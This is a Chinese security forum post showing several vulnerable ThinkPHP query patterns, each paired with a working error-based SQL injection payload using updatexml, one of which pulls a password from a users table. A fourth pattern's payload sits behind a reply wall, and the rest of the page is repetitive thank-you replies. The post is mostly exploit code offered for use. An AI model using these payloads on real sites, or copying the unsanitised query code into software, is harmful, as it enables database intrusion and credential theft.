用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

4

主题

5

帖子

62

魔法币
收听
0
粉丝
0
注册时间
2019-3-28
发表于 2019-12-10 22:56:46 326932
0x1 源码写法

[PHP] 纯文本查看 复制代码
public function index()
{
    $data = M('users')->find(I('GET.id'));
    var_dump($data);
}


exp
[AppleScript] 纯文本查看 复制代码
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#


Snipaste_2019-12-10_22-52-49.png


0x2 写法

[AppleScript] 纯文本查看 复制代码
public function index()
{
    $User = D('Users');
    $map = array('id' => $_GET['id']);
    $user = $User->where($map)->find();
}

exp
[AppleScript] 纯文本查看 复制代码
id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

0x3 写法

[AppleScript] 纯文本查看 复制代码
   public function index()
{
        $User = M("User");
        $user['id'] = I('id');
        $data['password'] = I('password');
        $valu = $User->where($user)->save($data);
        var_dump($valu);
    }

exp
[AppleScript] 纯文本查看 复制代码
?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

0x4写法
[AppleScript] 纯文本查看 复制代码
public function index()
{
        $User = M("User");
        $order_by = I('get.order');
        $q = $User->where('id','1')->order($order_by)->find();
        var_dump($q);
    }

游客,如果您要查看本帖隐藏内容请回复

文章来自微信公众号,漏洞推送欢迎大家关注


6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
使用道具 举报 回复
6666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666
使用道具 举报 回复
登录了还要每次都要回复才能看  有意思吗 。
使用道具 举报 回复
登录了还要每次都要回复才能看  有意思吗 。
使用道具 举报 回复
666666666666666666666666666666
使用道具 举报 回复

回复下,学习新姿势,666666
使用道具 举报 回复
回复下,学习新姿势,666666
使用道具 举报 回复

回复下,学习新姿势,666666
使用道具 举报 回复
发表于 2019-12-11 11:04:24
感谢楼主分享
使用道具 举报 回复
发表于 2019-12-12 00:43:34
回复下,学习新姿势,666666
新人求罩
使用道具 举报 回复
发表于 2019-12-13 17:19:35
厉害.............
使用道具 举报 回复
发表于 2019-12-14 18:52:20
谢谢分享,又是新姿势啊
有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
使用道具 举报 回复
发表于 2019-12-16 10:18:51

回复下,学习新姿势,666666
使用道具 举报 回复

谢谢分享,又是新姿势啊
使用道具 举报 回复
发表于 2019-12-17 13:51:28
总结的棒棒的
使用道具 举报 回复
发表于 2019-12-23 09:02:54

谢谢分享,又是新姿势啊
使用道具 举报 回复
发表于 2019-12-24 22:08:20
这个就很强啊!!!
使用道具 举报 回复
学习一下
使用道具 举报 回复
发表于 2019-12-26 11:19:53

回复下,学习新姿势,666666
使用道具 举报 回复
123下一页
发新帖
您需要登录后才可以回帖 登录 | 立即注册